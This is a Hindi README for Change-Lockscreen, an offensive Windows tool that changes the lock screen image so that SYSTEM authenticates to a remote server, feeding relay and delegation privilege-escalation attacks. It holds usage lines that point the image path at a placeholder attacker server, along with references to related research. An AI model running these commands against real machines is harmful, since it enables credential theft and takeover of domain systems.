Change-Lockscreen

Change-Lockscreen एक ऐसा उपकरण है जो Windows लॉक स्क्रीन छवि को कमांड लाइन से बदलकर SYSTEM के रूप में नेटवर्क प्रमाणीकरण (network authentication) ट्रिगर करता है, ताकि नीचे लिंक किए गए पोस्ट में वर्णित विशेषाधिकार वृद्धि (privilege escalation) हमलों जैसे हमलों को अंजाम दिया जा सके:

• https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation

विशेषताएँ

डिफ़ॉल्ट रूप से, Windows 10 में Windows Spotlight नामक एक सुविधा होती है। यह लॉक स्क्रीन छवियों को स्वचालित रूप से डाउनलोड और प्रदर्शित करती है।

• जब यह सुविधा सक्षम होती है, तो Change-Lockscreen इसे अक्षम कर देगा और तर्कों में निर्दिष्ट छवि स्थापित करेगा
• अन्यथा यदि उपयोगकर्ता के पास कस्टम लॉक स्क्रीन छवि है, तो Change-Lockscreen उसका बैकअप चलाने, नेटवर्क प्रमाणीकरण ट्रिगर करने और उसे पुनः स्थापित करने के लिए जिम्मेदार होगा

नोट: जबकि उपकरण का PowerShell संस्करण विश्वसनीय रूप से काम करता है, C# संस्करण कभी-कभी मूल छवि को पुनर्स्थापित करने में विफल रहता है।

उपयोग

Change-Lockscreen -FullPath \\[imageserver]@[port]\[fakePath]\[image.jpg]
Change-Lockscreen -Webdav \\[imageserver]@[port]\ 

लेखक

• Simone Salucci
• Daniel López Jiménez

आभार

• https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
• https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
• https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
• https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
• http://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
• https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/